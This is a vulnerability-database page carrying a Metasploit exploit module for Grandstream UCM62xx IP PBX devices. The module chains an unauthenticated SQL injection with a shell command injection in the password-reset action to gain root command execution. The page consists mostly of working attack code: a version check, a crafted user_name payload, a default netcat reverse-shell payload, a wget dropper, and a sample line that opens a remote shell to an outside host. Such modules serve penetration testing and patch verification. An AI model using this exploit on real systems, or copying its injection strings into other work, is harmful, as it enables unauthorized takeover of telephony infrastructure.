Grandstream UCM62xx IP PBX sendPasswordEmail Remote Code Execution

2022.01.26
Credit: jbaines-r7
Risk: High
Local: No
Remote: Yes
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, 'Name' => 'Grandstream UCM62xx IP PBX sendPasswordEmail RCE', 'Description' => %q{ This module exploits an unauthenticated SQL injection vulnerability (CVE-2020-5722) and a command injection vulnerability (technically, no assigned CVE but was inadvertently patched at the same time as CVE-2019-10662) affecting the Grandstream UCM62xx IP PBX series of devices. The vulnerabilities allow an unauthenticated remote attacker to execute commands as root. Exploitation happens in two stages: 1. An SQL injection during username lookup while executing the "Forgot Password" function. 2. A command injection that occurs after the user provided username is passed to a Python script via the shell. Like so: /bin/sh -c python /app/asterisk/var/lib/asterisk/scripts/sendMail.py \ password '' `cat <<'TTsf7G0' z' or 1=1--`;`nc 10.0.0.3 4444 -e /bin/sh`;` TTsf7G0 ` This module affect UCM62xx versions before firmware version 1.0.19.20. }, 'License' => MSF_LICENSE, 'Author' => [ 'jbaines-r7' # Vulnerability discovery, original exploit, and Metasploit module ], 'References' => [ [ 'CVE', '2020-5722' ], [ 'EDB', '48247'] ], 'DisclosureDate' => '2020-03-23', 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD, ARCH_ARMLE], 'Privileged' => true, 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'Payload' => { 'DisableNops' => true, 'BadChars' => '\'&|' }, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping' } } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_ARMLE], 'Type' => :linux_dropper, 'CmdStagerFlavor' => [ 'wget' ] } ] ], 'DefaultTarget' => 1, 'DefaultOptions' => { 'RPORT' => 8089, 'SSL' => true }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK ] } ) ) register_options([ OptString.new('TARGETURI', [true, 'Base path', '/']) ]) end ## # Sends a POST /cgi request with a payload of action=getInfo. The # server should respond with a large json blob like the following, # where "prog_version" is he firmware version: # # {"response"=>{ # "model_name"=>"UCM6202", "description"=>"IPPBX Appliance", # "device_name"=>"", "logo"=>"images/h_logo.png", "logo_url"=>"http://www.grandstream.com/", # "copyright"=>"Copyright \u00A9 Grandstream Networks, Inc. 2014. All Rights Reserved.", # "num_fxo"=>"2", "num_fxs"=>"2", "num_pri"=>"0", "num_eth"=>"2", "allow_nat"=>"1", # "svip_type"=>"4", "net_mode"=>"0", "prog_version"=>"1.0.18.13", "country"=>"US", # "support_openvpn"=>"1", "enable_openvpn"=>"0", "enable_webrtc_openvpn"=>"0", # "support_webrtc_cloud"=>"0"}, "status"=>0} ### def check normalized_uri = normalize_uri(target_uri.path, '/cgi') vprint_status("Requesting version information from #{normalized_uri}") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalized_uri, 'vars_post' => { 'action' => 'getInfo' } }) return CheckCode::Unknown('HTTP status code is not 200') unless res&.code == 200 body_json = res.get_json_document return CheckCode::Unknown('No JSON in response') unless body_json prog_version = body_json.dig('response', 'prog_version') return false if prog_version.nil? vprint_status("The reported version is: #{prog_version}") version = Rex::Version.new(prog_version) if version < Rex::Version.new('1.0.19.20') return CheckCode::Appears("This determination is based on the version string: #{prog_version}.") end return CheckCode::Safe("This determination is based on the version string: #{prog_version}.") end ## # Throws a payload at the sendPasswordEmail action. The payload must first survive an SQL injection # and then it will get passed to a python script via sh which allows us to execute a command injection. # It will look something like this: # # /bin/sh -c python /app/asterisk/var/lib/asterisk/scripts/sendMail.py \ # password '' `cat <<'TTsf7G0' z' or 1=1--`;`nc 10.0.0.3 4444 -e /bin/sh`;` TTsf7G0 ` # # This functionality is related to the"Forgot Password" feature. This function is rate limited by # the server so that an attacker can only invoke it, at most, every 60 seconds. As such, only a few # payloads are appropriate. ### def execute_command(cmd, _opts = {}) rand_num = Rex::Text.rand_text_numeric(1..5) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/cgi'), 'vars_post' => { 'action' => 'sendPasswordEmail', 'user_name' => "' or #{rand_num}=#{rand_num}--`;`#{cmd}`;`" } }, 5) # the netcat reverse shell payload holds the connection open. So we'll treat no response # as a success. The meterpreter payload does not hold the connection open so this clause digs # deeper to ensure it succeeded. The server will respond with a non-0 status if the payload # generates an error (e.g. rate limit error) if res fail_with(Failure::UnexpectedReply, 'The target did not respond with a 200 OK') unless res.code == 200 body_json = res.get_json_document fail_with(Failure::UnexpectedReply, 'The target did not respond with a JSON body') unless body_json status_json = body_json['status'] fail_with(Failure::UnexpectedReply, 'The JSON response is missing the status element') unless status_json fail_with(Failure::UnexpectedReply, "The server responded with an error status #{status_json}") unless status_json == 0 end print_good('Exploit successfully executed.') end def exploit print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] when :unix_cmd execute_command(payload.encoded) when :linux_dropper execute_cmdstager end end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022, cxsecurity.com

 

Back to Top